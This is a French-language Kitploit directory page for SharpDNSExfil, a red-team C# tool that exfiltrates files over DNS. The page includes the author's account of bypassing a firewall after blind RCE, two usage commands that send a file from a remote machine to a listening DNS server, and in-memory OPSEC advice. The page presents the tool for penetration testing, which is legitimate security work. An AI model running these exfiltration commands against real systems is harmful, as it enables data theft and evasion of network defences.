Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SharpDNSExfil — Outil C# pour exfiltrer des fichiers via DNS en utilisant XOR et chiffrement asymétrique, conçu pour les engagements d'équipe rouge avec des connexions sortantes restreintes. | Kitploit
Outils/GitHubGitHub/aniqfakhrul/sharpdnsexfil
Outils de Chiffrement/DéchiffrementExfiltration de DonnéesCommandement et ContrôleRed TeamingAnalyse DNS
GitHubaniqfakhrul/sharpdnsexfil

SharpDNSExfil

Outil C# pour exfiltrer des fichiers via DNS en utilisant XOR et chiffrement asymétrique, conçu pour les engagements d'équipe rouge avec des connexions sortantes restreintes.

Voir le dépôt
132il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SharpDNSExfil

SharpDNSExfil est un outil d'exfiltration écrit en C#. L'objectif principal est d'exfiltrer tous les fichiers « sur disque » sans avoir à se soucier des restrictions de connexion sortante.

Prérequis

  • La machine distante doit pouvoir résoudre le DNS

Pourquoi ai-je fait cela ?

J'ai obtenu un RCE aveugle lors de mon intervention et il s'est avéré que la machine distante dispose d'une protection pare-feu qui n'autorise pas les connexions sortantes et m'a donné du mal à obtenir une connexion inverse. La bonne nouvelle, c'est que le serveur DNS peut résoudre les domaines publics et peut me joindre via DNS. Le problème, c'est que je n'ai toujours pas pu obtenir de reverse shell, je pouvais lire quelques petites sorties, mais no bueno. J'ai donc eu l'idée d'automatiser le processus via uniquement le DNS et de récurser toutes les étapes, et ça fonctionne enfin !

_ATTENTION : L'ensemble du processus a été testé uniquement via un serveur DNS public personnalisé mais n'a pas été entièrement testé dans un environnement d'entreprise réel. Donc utilisez-le à vos propres risques ! _

TL;DR : Comment faire

À quoi faut-il penser ?

Tous les octets exfiltrés sont XORés avec une clé générée aléatoirement. Vous pourriez penser que la clé sera alors en texte clair au niveau réseau (Wireshark le montrera). Avec l'option --encrypt, c'est là que le chiffrement asymétrique entre en jeu : une clé publique codée en dur chiffrera la clé XOR. La machine locale (vous) attendra une forme chiffrée de la clé, le script Python déchiffrera automatiquement la clé avec sa clé privée codée en dur. Le reste des données transmises sera XORé pour revenir à ses octets d'origine. Donc, changez toujours les paires de clés s'il vous plaît

Avant chiffrementAprès chiffrement

Utilisation

  • Configurez le serveur DNS avec le script Python dnsserver.py. Les options sont les suivantes :
root@kitploit:~
python3 dnserver.py --udp --port 53 --host 192.168.0.102
  • Exécutez l'exécutable sur la machine distante.
root@kitploit:~
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102

Considérations OPSEC

Les étapes et processus de SharpDNSExfil doivent être exécutés entièrement en mémoire sans toucher au disque pour éviter de laisser des déchets pendant l'intervention. SharpDNSExfil informera de chaque étape ou processus qu'il effectue en arrière-plan avec l'option --verbose. Chaque octet envoyé est encodé par XOR et la clé sera ensuite chiffrée avec un chiffrement asymétrique pour éviter une clé en texte clair dans le trafic réseau. Soyez extrêmement prudent et prenez toujours des notes et faites du nettoyage sur les biens du client.

Crédits

  • Super script DNSServer par @pklaus
Télécharger l’outil